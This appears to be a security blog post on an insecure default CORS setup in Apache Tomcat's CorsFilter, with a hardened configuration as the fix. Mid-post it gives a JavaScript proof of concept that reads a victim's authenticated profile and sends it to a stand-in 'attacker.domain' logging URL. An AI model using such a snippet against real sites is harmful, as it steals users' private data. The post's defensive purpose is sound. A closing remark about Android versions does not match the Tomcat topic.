Recently, during a WAPT activity for one of our customers, I found a serious vulnerability, due to a CORS misconfiguration, that could lead an attacker to steal private information belonging to other users. By the way, this is a quite common scenario since some of the “default” CORS configurations are insecure.
Note that CORS is a broad topic and treating it in detail, considering all the abuse cases, is out of the scope of this post. Here I only want to emphasize why the “default” CORS configuration provided by Apache Tomcat is not sufficiently secure and how to secure it.
What is CORS?
Just few words about the Cross-Origin Resource Sharing (CORS): it is a mechanism to relax the Same Origin Policy and it allows enabling communication between websites (on different domains) via browsers.
Applications allow CORS by sending the header:
Access-Control-Allow-Origin: https://allowed.domain
This header permits browsers to send cross-domain requests to the application and read the responses received. This is obviously something that the Same Origin Policy normally prevent.
With only the previous header the request will be issued without the session cookies or other credentials, so it cannot be used to steal private user information (that requires authentication to be accessed) but, the credentials transmission can be allowed adding the following header:
Access-Control-Allow-Credentials: true
The Problem
The tested application was deployed on Apache Tomcat 8 and the customer’s dev team decided to enable CORS by configuring the filter provided by Tomcat. They followed the minimal configuration suggested by the official Tomcat 8 documentation (note that it is the same also for versions 9 and 7).
Here is a snippet of the official documentation:
Can you spot the problem?
By default, the attribute “cors.allowed.origins” allows any origin to access the resource (the bad thing here is that Tomcat generates the “Access-Control-Allow-Origin” header based on the user-supplied “Origin” header value). Moreover, the attribute “cors.support.credentials” is set to “true” by default, so it allows the browser to send the session cookie.
So, this configuration obviously leads to the result desired by the developers, but unfortunately it also allows any domain (including the malicious ones) to access the data.
How an attacker could exploit it
Now, let’s assume that our Java web application, served on Tomcat 8, has a “getProfile” handler that returns, to an authenticated user, its own private data (e.g. e-mail address, telephone number and so on).
What’s happen if an authenticated user visits a malicious page that contains the following JavaScript code?
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://vulnerable.domain/api/getProfile',true);
req.withCredentials = true;req.send();
function reqListener() {
location='//attacker.domain/log?response='+this.responseText;
};
The browser sends the following request to the “vulnerable.domain”:
GET /api/getProfile HTTP/1.1
Host: vulnerable.domain
Origin: https://attacker.domain/
Cookie: JSESSIONID=<redacted>
And the application responds with the following:
HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Access-Control-Allow-Origin: https://attacker.domain
Access-Control-Allow-Credentials: true
Access-Control-Expose-Headers: Access-Control-Allow-Origin,Access-Control-Allow-Credentials
Vary: Origin
Expires: Thu, 01 Jan 1970 12:00:00 GMT
Last-Modified: Wed, 02 May 2018 09:07:07 GMT
Cache-Control: no-store, no-cache, must-revalidate, max-age=0, post-check=0, pre-check=0
Pragma: no-cache
Content-Type: application/json;charset=ISO-8859-1
Date: Wed, 02 May 2018 09:07:07 GMT
Connection: close
Content-Length: 111
{"id":34793,"name":"Davide","surname":"Test","cellphone":"+39<REDACTED>","email":"<REDACTED>","city":"Torino"}
Due to the two “Access-Control-Allow-*“ headers sent by the server, the victim’s browser allows the JavaScript code included into the malicious page to access the data and in this manner the attacker successfully stole the user’s private data (in this case: e-mail address and cellphone).
Note that, based on the data exposed by the application, the result of the attack could be even more dangerous. I remember a situation in which this issue led to a full account takeover of the victim.
The Solution
If you are using the filter provided by Apache Tomcat to enable CORS on your applications, ensure using a more “advanced” configuration that overrides the default values. In particular, configure the “cors.allowed.origins” specifying only the allowed domains and enable the “cors.support.credentials” only if it is strictly necessary.
It is also advisable to restrict the allowed methods with the “cors.allowed.methods” attribute and limit the preflight max age (with the “cors.preflight.maxage” attribute).
The following snippet shows a more secure configuration for the preceding example.
<filter>
<filter-name>CorsFilter</filter-name>
<filter-class>org.apache.catalina.filters.CorsFilter</filter-class>
<init-param>
<param-name>cors.allowed.origins</param-name>
<param-value>https://allowed.domain</param-value>
</init-param>
<init-param>
<param-name>cors.allowed.methods</param-name>
<param-value>GET,POST</param-value>
</init-param>
<init-param>
<param-name>cors.exposed.headers</param-name>
<param-value>Access-Control-Allow-Origin,Access-Control-Allow-Credentials</param-value>
</init-param>
<init-param>
<param-name>cors.support.credentials</param-name>
<param-value>true</param-value>
</init-param>
<init-param>
<param-name>cors.preflight.maxage</param-name>
<param-value>1800</param-value>
</init-param>
</filter>
<filter-mapping>
<filter-name>CorsFilter</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>
Note that, if you need to allow CORS for multiple domains, you can specify each one of them, divided by a comma, inside the “cors.allowed.origins” attribute. In this case Tomcat will check the origin header and, if it matches with one of the domains specified, the request is allowed and the “Access-Control-Allow-*” response headers are returned, otherwise a 403 response is served.
Note: the ability to exploit this vulnerability may vary depending on the Android version but, since it is difficult to know on which devices our app will be installed, it is always advisable to ensure that the issue is prevented regardless of the exploitability.
Be aware of default configurations. BeDefended.
Thanks for reading.